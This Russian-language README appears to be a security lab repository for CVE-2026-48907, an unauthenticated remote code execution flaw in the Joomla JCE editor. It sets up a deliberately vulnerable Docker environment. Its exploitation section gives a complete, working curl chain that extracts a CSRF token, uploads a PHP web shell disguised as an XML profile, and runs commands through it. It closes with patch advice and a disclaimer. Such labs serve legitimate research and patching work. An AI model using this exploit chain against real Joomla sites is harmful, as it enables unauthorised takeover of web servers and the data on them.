CVE-2026-48907 — Лаборатория неаутентифицированного RCE в Joomla JCE

PSsec — образовательная лаборатория по исследованию безопасности для CVE-2026-48907.

Обзор

CVE-2026-48907 — это критическая (CVSS 10.0) уязвимость неаутентифицированного удалённого выполнения кода в JCE (Joomla Content Editor), самом распространённом редакторском расширении для Joomla, затрагивающая все версии ≤ 2.9.99.4.

Конечная точка profiles.import принимает загрузку файлов без какой-либо аутентификации. Злоумышленник может загрузить вредоносный PHP-файл, замаскированный под XML-профиль, который записывается в каталог tmp/ на сервере и выполняется напрямую через HTTP — учётные данные не требуются.

Настройка лаборатории

Предварительные требования

• Docker + Docker Compose
• Kali Linux (или любой Linux-хост)

1. Запустите уязвимое окружение

docker compose up -d

2. Завершите установку Joomla

Откройте http://localhost:8080 в браузере и завершите мастер установки, используя следующие учётные данные:

3. Установите уязвимое расширение JCE

wget https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip

Затем в админ-панели Joomla: Система → Расширения → Установка → загрузите ZIP-файл.

Эксплуатация

4. Извлеките CSRF-токен и cookie сессии

URL=http://localhost:8080
TOKEN=$(curl -s -c cookies.txt "$URL/" \
  | sed -n 's/.*"csrf\.token"[[:space:]]*:[[:space:]]*"\([a-f0-9]\{32\}\)".*/\1/p; s/.*name="\([a-f0-9]\{32\}\)"[^>]*value="1".*/\1/p' \
  | head -n1)

5. Загрузите PHP-веб-шелл через неаутентифицированный импорт профиля

curl -i -s -b cookies.txt -c cookies.txt \
  -F "[email protected];type=application/xml" \
  -F "task=profiles.import" \
  -F "${TOKEN}=1" \
  "$URL/index.php?option=com_jce"

6. Проверьте удалённое выполнение кода

curl -i -s -b cookies.txt -c cookies.txt \
  "$URL/tmp/shell.xml.php?cmd=id"

Ожидаемый вывод: uid=33(www-data) gid=33(www-data)

Файлы

Устранение уязвимости

Немедленно обновите JCE до версии 2.9.99.5 или новее.

Официальное уведомление вендора и бесплатный патч для старых версий Joomla: Обновление безопасности JCE — joomlacontenteditor.net

Благодарности

• Ссылка на инструментарий эксплуатации: JoomlaSniper от ynsmroztas
• Уязвимость обнаружена в реальных атаках Филом Тейлором из mySites.guru
• Включение в CISA KEV: 16 июня 2026 года

Отказ от ответственности

Этот репозиторий предназначен строго для образовательных целей и санкционированных исследований в области безопасности.

Тестирование должно проводиться только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированное использование этого материала против систем, которыми вы не владеете, незаконно и неэтично. Авторы и Pansophical OU не несут ответственности за неправомерное использование этого контента.

Эта лабораторная среда намеренно уязвима. Не выставляйте её в интернет или в любую ненадёжную сеть.

Автор: PSsec